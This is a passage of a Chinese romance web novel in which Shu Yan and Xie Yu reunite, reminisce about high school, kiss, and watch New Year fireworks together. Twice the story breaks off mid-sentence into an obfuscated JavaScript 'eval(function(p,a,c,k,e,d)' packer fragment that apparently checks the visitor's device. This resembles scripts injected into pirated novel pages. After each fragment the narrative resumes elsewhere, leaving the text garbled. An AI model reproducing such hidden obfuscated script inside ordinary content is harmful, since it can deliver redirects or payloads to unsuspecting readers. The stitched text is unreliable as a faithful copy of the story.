她迷迷糊糊地摸到枕边的手机，摁亮屏幕后看到谢玙在两个小时前给她发了消息，问她起床没。 她揉了揉眼睛，脑海里一下涌入了晚上的记忆。 其实昨晚她没有喝醉，最多就是脑袋有点晕乎乎的，所以昨晚发生的事情她都还清楚地记得。 她甚至还记得自己借着醉酒捏了几把谢玙的脸。 他的皮肤光滑又细腻，摸上去很舒服。 舒言给他回了消息，然后起床去卫生间洗漱。 她刚走出房间就碰到了舒连溪。 看见她以后，舒连溪很高兴地跑过来，拉住她的手，“姐，你饿了没，我给你煮饺子吃。” 舒言沉默着撇开他的手，“不用了，我不饿。” 舒连溪皱眉：“怎么会不饿呢，姐，你早上中午都没吃东西。” “我们老师说的，每天必须认真吃饭，不然很容易得胃病的。” 看着小男孩小心翼翼的眼神，舒言语气还是放软了些，“我待会自己随便弄点就行。” “好吧。” 舒连溪有些失落地说，但好在姐姐愿意和他多说几句话了。 洗漱完以后，舒言去厨房给自己煮了碗面。 她在做饭这事上没啥天赋，只会弄些简单的，不过她也不挑食，填饱肚子就行。 吃完饭舒言就回房间开始收拾自己，谢玙发消息说待会要来接她出去。 出门前舒言还专门戴上了他之前送的那条手链，蓝宝石衬得她的手腕雪白又纤细，特别好看。 谢玙开车过来接她去了淮水巷那边的庭院。 时隔多年再次踏入这里，舒言有种不真切的感觉。 其实院子也没太大变化，那几棵高大的老槐树还在，只是旁边的小舞台被拆掉了。 谢玙带着她穿过院子往里面走，路过小池塘的时候，她发现里面已经没有养金鱼了，但是旁边的绿植还是生机勃勃的。 故地重游难免让人想起一些以前的事情。 舒言内心顿时百感交集。 谢玙直接带她上了二楼，去了高中时她去过的那个书房。 窗户都大大敞开着，大概是很久没人打理，屋子里有一股书本受潮的气味。 谢玙挑了下眉，问她：“还记得这里吗？” “嗯。” 她怎么会不记得，印象中她还在这里写了一副毛笔字，而且那副字还是在他的帮助下才完成的。 谢玙去旁边的柜子里翻了翻，很快就拿了个袋子过来。 不知想到了什么，舒言的心忽然跳得很快。 他把密封袋小心翼翼打开，拿出里面的东西放在书桌上展开，果然是她当时写的那副毛笔字。 这么多年过去了，这副字还被保存得完好无损，一点都没受潮的迹象。 谢玙唇角勾了勾，又问她：“那你还……记得这副毛笔字吗？” 他说这话的时候，眼底带着明晃晃的期待。 反应过来后，舒言呆愣地看着他，眼底写满了不可置信。 她有种在拆旧信封的感觉。 原来！原来！ 她心里霎时又惊又喜。 千言万语涌上心头，最终只化作一声无言的轻叹。 他低头睨着那副毛笔字，倏地笑了，“那个时候太怂了，根本不敢直接向你表达心意，只能通过这种隐晦的方式。” “只可惜你好像并没有接收到我的信号，我当时还很纳闷，觉得是自己自作多情了……” “不是的。”舒言很快打断了他，斩钉截铁地说：“你从来都不是自作多情。” “那个时候我已经喜欢上你了，只是我从来不敢去幻想你也有同样的心情。” 她语气弱下去，意识到自己那时的迟钝，“我当时还以为你并不知道这是一首……情诗，只是随便念的。” 现在再看到这副字，舒言依旧能够回忆起当初那种悸动的感觉。 紧张、无措、心动。 是希冀他眼神的片刻停留，是对视后不知所措地躲闪。 只是她没想到岁月早已馈赠给她一份如此珍贵的礼物。 是她喜欢的少年的一颗真心。 谢玙眼眸暗了暗，他当时还以为自己已经表现得很明显了，谁曾想她压根没敢往那方面去想。 还好他当时把她写的这副字好好保存了起来，不然现在都没法替自己作证。 证明他在很久之前就已经喜欢上她。 “你跟我来。” 谢玙把那副毛笔字重新收好，转过身对她说。 “好。” 他带着她去了左边尽头的房间，里面堆着各种各样的乐器。 舒言猜到这些乐器都是他们乐队当时用的。 “这样乐器在这里放了很多年了，我转学回北沅后就再也没人用过。” “昨天晚上我过来试了一下，架子鼓还可以用。” 他坐到架子鼓前，抬起头，笑着问她：“想不想唱歌？” 男人今天穿了件黑色的套头卫衣，额前的头发遮住点眉毛，五官俊朗干净，整个人少年气十足。 舒言眼睫颤了下，“唱什么？” 谢玙把手机递给她看，上面是一首她之前在他车上放过的歌。 “这首可以吗？” 舒言点了点头。 谢玙弯腰拿起鼓棒，“那今天你唱给我听好不好，我给你伴奏。” 舒言脑海里钻进一些记忆，她挠了下脸，“我……唱歌不是很好听。” 他轻而易举地打消了她的顾虑，“没关系，我陪你一起。” “好。” 舒言也没再推辞，她垂眸看着屏幕上的歌词，顺便把原唱也打开了。 伴奏一响，谢玙很快就找到了感觉，脸上表情轻松又惬意，自带律动感，无论是什么乐器，他都能够轻轻松松驾驭，玩出自己的风格来。 他敲出的鼓点好似落在了她的心上，和她的心跳保持着相同的频率。 舒言干脆坐在桌子上，晃悠着小腿唱了起来，时不时地和谢玙对视一眼，心里又是一阵满足。 这首歌她听过很多次，所以还比较熟悉。 唱了几句后，她也渐渐投入到这首歌的情感里。 谢玙瞳孔里全是她唱歌时的可爱模样，手上的节奏悄悄乱了一下。 很快，舒言就唱到那段她很喜欢的歌词： “我不愿让你一个人/一个人在人海浮沉/我不愿/你独自走过/风雨的时分/我不愿让你一个人/忍受这世界的残忍/我不愿眼泪陪你到永恒。” 或许是因为联想到一些事情，唱这几句歌词的时候，舒言眼底有隐约的泪光。 她鼻头一酸，咬着唇低下了头。 鼓声就是在这个时候戛然而止。 周遭的一切都重新归于平静，只能感知到胸口处传来的心跳声。 舒言抬眸的那个刹那，谢玙已经走到了她的身边。 他屈膝半蹲着，抬起头，很温柔地哄：“别哭好吗？” “……舍不得让你哭。” 谢玙耷拉着脑袋笑了下，又仰起头看她，郑重其事地对她说：“你想说的话我都知道了。” 知道、知道什么？ 舒言嘴唇微张，看见他把她的手圈进了手心，凝视着她的那双桃花眼仿佛能摄人心魂，“知道……你不愿让我一个人，这也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是这个吻变得急躁、迫切了很多，她尝到了他舌尖的清冽味道，没过多久，舒言双腿就开始发软，好在谢玙及时将她抱住，宽大的手掌牢牢禁锢在她后腰上。 看着她憋红的脸颊，谢玙捏了下她的下巴，好心提醒她换气。 片刻喘息后，他就又坐在了旁边的椅子上，引导着她打横坐在他的腿上，双臂勾住他的脖子，换了个姿势继续这个绵长的湿吻。 窗外起先是呼呼的风声，后来又传来潺潺的雨声。 在这个静谧的午后，他们的世界变得只剩彼此，共享着全部的呼吸和心跳。 等停下来以后，谢玙没有马上放开她，而是贪恋地抵住她的额头，压制着体内狂躁的冲动。 舒言自然感到了他身体的变化，她的手有些无助地撑在他起伏的胸膛上，脸颊红得不行。 “你……”她不太好意思地说：“还好吗？” 其实她想说的是……她要不要先起来。 谢玙伸手把她搂进怀里，下巴埋进她的颈窝，轻嗅着她身上好闻的槐花香气。 “没事，让我缓一缓。” 舒言坐在他腿上完全不敢乱动，她也不知道怎么样才能帮助他，只能安静陪着他。 时钟滴滴答答的不知道走了多少圈，谢玙才终于平息下来。 他帮她把碎发别到耳后，低醇的声线欲气十足。 “怎么样，我们的初吻，还满意吗？” 55. 第55章 舒言征了两秒。 这么问题让她怎么回答嘛。 可脑海里又情不自禁地回想起蔡妙妙之前说的那些话。 她有些害羞地捂脸。 “……就还挺舒服的。” 他的嘴唇很软，一碰上就仿佛有电流经过，让她头皮开始发麻。 谢玙亲密地抱她在怀里，让她的脑袋靠在自己胸口，手搁在她腰上放着。 他勾了勾唇，“那以后我们多练习。” “熟能生巧。” 舒言：“……” 脸红着嗯了一声。 原来喜欢一个人真的会忍不住想要和他亲近。 两个人安静抱了一会儿，舒言突然有些好奇地开口。 “阿玙，高中的时候你有什么遗憾吗？” 谢玙沉吟了几秒，说：“有啊，你呢？” 舒言笑了笑，说：“我也有。” “那个时候，我特别遗憾的就是，我们一起经历的所有事情都只有一次。” “我只在这个院子听你们唱过一次歌，只和你去过一次公园，只和你拍过一次照，只和你去过一次糖水铺，只送过你一次生日礼物……” “所有的美好都是浅尝辄止，当时你转学回北沅，我甚至做好了我们再也不会遇见的打算。” 说到这时，舒言抬起头看他，有点俏皮地说：“所以，你想想看要怎么好好补偿我吧。” 谢玙喉间溢出一声轻笑，他伸手捏了下她的脸，意味深长地说：“我把我人都赔给你了，你说还要怎么补偿你。” 舒言脸上一热，“也行，那我就勉强接受吧。” 谢玙眯了眯眼睛：“只是勉强？” 舒言眼睛弯成月牙，伸手搂住他的脖子，在他脸上亲了一下，“没有，是我赚了。” 他这才满意地扯了下唇，又说：“你说的那些遗憾，如果你喜欢，我陪着你做多少次都行。” “以后我春天陪你去骑车、放风筝，夏天陪你去玩水、吃冰，秋天陪你去看枫叶，爬山，冬天陪你堆雪人，吃火锅。” “晚上我唱歌哄你睡觉，在家里专门弄一面墙放我们的合照，每个生日我们都一起过……” 光是这样听他说着，舒言都觉得对未来充满了憧憬。 一些稀松平常的小事，只要是和喜欢的人一起完成，都会变得令人感到很幸福。 她眨了眨眼睛：“那你呢，你的遗憾是什么？” 他语气很轻，搭在她腰上的手收紧，“如果可以，我想回到高中我们最后一次见面的那天。” “回到那天，然后呢？”舒言开玩笑地说：“牵着我的手一起在雨中私奔？” 谢玙摇了摇头，摸摸她的头发，“我舍不得你淋雨。” “我想为你遮风挡雨，告诉你没关系的，我会永远等你。” “我明白你有自己的目标，不会因为任何人停下脚步，就算那个人是我也不可以。” “那个时候如果我知道了你疏远我的原因，我想我也不会让你为难，而是做好自己该做的事情，然后默默关心你，剩下的时间会给我们最好的答案。” 舒言听得百感交集，原来他一直都很懂她。 这么多年了，她第一次有了想和别人诉说自己心事的想法。 那些压抑的，痛苦的，甚至是难以启齿的。 “从小到大，我爸妈都对我特别严格。从上小学开始，我每次考试都必须拿第一名，或许是我运气还不错，后来上了初中，我的成绩也都是名列前茅，初一下学期，我爸妈生了我弟弟，他们对我的关心就少了很多，基本算是放养。” “记得有一次数学考试，我身体不舒服没发挥好，100分的试卷我只考了80分，我妈来给我开家长会，结束的时候，她就跟我说她觉得很丢人，说以后开家长会她都不来了。” “我当时听了就还挺委屈的吧，不过那个时候还小，就特别害怕我妈不喜欢我了，更加拼了命的学习，后来我成功被保送到了南中。” “可是上了高中以后，我好像失去了目标，觉得一切都没有意义，成绩自然一落千丈。一开始我爸妈还会鼓励我几句，后来就变成了埋怨和挖苦，我就变得越来越沉默。” “我记得我们第一次遇到的时候，我妈在给我打电话，又提到了我的成绩，还说了让我住校的事情，那天我心情特别不好，不小心在楼梯上摔了一跤，在我特别狼狈的时候，你出现了，问我需不需要帮助，我拒绝了你，但你还是没有离开，还递给我一包纸。” “这件事情你还记得吗？”舒言有些期待地看着他。 谢玙点了点头，心情十分复杂，“记得，但其实那不是我们第一次遇见。” 她眼神透露着迷茫，“不是吗？” “不是。”谢玙回答得很肯定，在她热切的注视下，开口说：“我们第一次见面要比你印象中那次更早。” “高一下学期，我被我爸妈强制转学回南港，来学校报道那天我心里特别不爽，去教室的路上还突然下起了雨，我就一直淋着，后来——” 他紧盯着她的脸，语气下意识放柔了，“也不知道从哪里冒出来个女生，明明个子比我矮了一大截，还非要给我打伞，她问我是不是高一的，说顺路的话可以送我过去。” “等走到教学楼，那个女生头也不回地走了。结果没过几天，我就在自己班上看到了那个女生，她来我们班上送校报，当时我就站在教室门口，但她好像已经记不得我了，我听见班上同学说她作文写得很好，第一次月考过后，还收到了一份她的作文。” 谢玙又继续说：“后面我又在学校远远看见过她好几次，直到那次看见她摔倒在楼梯上，虽然不知道发生了什么事，但是我能感受到她特别难过。” “直到今天我才知道她当时为什么会哭。” 舒言呼吸紧了紧，十分惊讶：“所以，那个女生是我？” 谢玙：“是的。” 可为什么她对他说的那些事情一点印象都没有了。 舒言难以形容自己此刻的心情，原来他们在更早的时候就已经遇见，这让她觉得又惊又喜。 她抓住他的手，迫切地想要知道一件事，“所以你是……” 谢玙接了她的话，“你是不是想问我是什么时候开始喜欢你的。” 舒言点了点头，心跳得飞快。 他垂睫思考了一会儿，像是在认真回忆什么，然后抬眼看着她说：“其实这个还真不好说，反正等我反应过来的时候，就已经很喜欢你了。” 对于这个答案，舒言显然不太满意，没什么情绪的“哦”了一声。 谢玙不禁失笑，“你给我点时间让我想想好吗？我会给你一个满意的答案的。” 他又说：“那你呢，你又是什么时候喜欢我的？” 这个问题其实舒言以前有去想过，或许对他的喜欢是建立在第一眼的感觉基础上慢慢发展的。 不过她很清楚自己第一次意识到自己喜欢他是什么时候。 她说：“我当时意识到自己喜欢你是看到周荔在向你表白。” “那时候我特别难过，直接就哭了，回家以后想给你发消息，但是又不敢，害怕听到你已经和她在一起的消息。” “我很羡慕她的热情、大胆，可以随心所欲地表达自己的喜欢，但是我的内心总是会有各种顾虑，我不是一个特别勇敢的人。” “就算你当时真的和她在一起了，我恐怕也只能强忍着眼泪祝福你们。” 听见她这么说，谢玙心上一阵钝痛，他捧住她的脸庞，语气涩然：“不是的，你说自己不够勇敢，但在我看来，你已经很勇敢了。你会支持我的梦想，会用心给我准备生日礼物，会跑来操场给我送水……” “言言，每个人表达喜欢的方式不同，或大胆直接，或内敛含蓄，可是这并不意味着你不勇敢。” 舒言听得泪目，原来真的会有这么一个人，他能够回应你所有的喜欢，把过往的每一次酸涩都熬成一颗甜蜜的糖。 — 除夕当天。 陈岚和舒庆坤早早地就开始准备年夜饭。 舒言和舒连溪一起贴着窗花和对联。 给家里装扮一番后，年味果然就出来了。 她给谢玙拍了张家里的照片发过去，问他在干嘛。 谢玙很快就回了消息。 X:【我在给家里买年货，晚上过来接你出去看烟花。】 舒言开心地回了个好。 放下手机后，舒连溪又缠着她陪他去书店买了几本课外书。 对于这个弟弟，舒言心里并没有太多感情。 记得她上大一那会儿，舒连溪还不到六岁，大学期间她忙于学习，平时也很少回家，但不知道怎么回事，舒连溪好像格外喜欢她，每次回家还总是缠着她。 吃过年夜饭，舒言和陈岚说了自己待会要出去的事情。 陈岚把她单独叫到了一旁，语重心长地看着她说：“是和那个男孩吧。” “我上次看到他送你回来了。” 舒言也没想隐瞒什么，“是的，他是我男朋友。” 陈岚点了点头，又说：“你现在长大了，谈朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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舒言问他：“我们去哪里看烟花？” “去城东的郊区，那边可以放烟花。” “好。” 大概半个小时的样子，车子就到了目的地。 放烟花的地方是在江边的空地上，他们到的时候这里已经有好多人了。 谢玙牵着她的手在江边漫步。 四周都是大家欢快嬉闹的声音。 他们和其他情侣一样叽叽喳喳地分享着自己的开心事，幸福变得简单又具体。 在倒计时响起的那一刻，绚烂的烟花照亮了身后的天空。 “言言。” 叫出她名字的那个瞬间，他低下头吻住了她。 “新年快乐。” 在无人的昏暗角落，他们肆无忌惮地拥吻在一起。 这个吻缠绵又温柔，让人忘记了所有的烦恼。 停下来的时候，舒言眼睛含了层雾气，嘴唇湿漉漉的，她眼睫颤了颤，踮起脚主动吻上了他柔软的唇。 最后舒言是被谢玙抱着回了车上。 外面的烟花还没停，绚烂的光落在男人清寂俊逸的侧脸上，也照亮了舒言唇边的笑意。 今年是他们在一起过的第一个年。 七年前他们在冬天分别，七年后他们又在冬天重逢。 他也从她暗恋的人变成了她的男朋友。 她对着烟花许了一个愿望，希望以后的每一年他们都能陪伴在彼此的身边。 回去的车程要更快些，车停在小区门口后，舒言慢吞吞地解开了安全带。 明明今晚已经和他待了很久，但就是舍不得就这么和他分开。 她仰起白皙的脸庞看他，说得很直接：“我还不想回去。” “好。”谢玙轻笑了一声，把座椅往后挪了些，留出足够的空间。 他朝她伸出手，“过来我抱会。” 下一秒舒言就稳稳当当地坐在了他腿上。 谢玙低下头看她，眼底的炙热仿佛一团燃烧的火焰，舒言下意识咽了下口水，“还要亲吗？是不是……” 亲得有点太多了。 男人的语气带着诱哄，“再亲一下，就一下。” 灼热的呼吸很快落在了她的唇上，一点点吞噬了她仅存的理智。 她被亲得缺氧，浑身无力地软在他的怀里。 靠在他胸口喘气的时候，舒言感觉到手里被塞入了一个东西。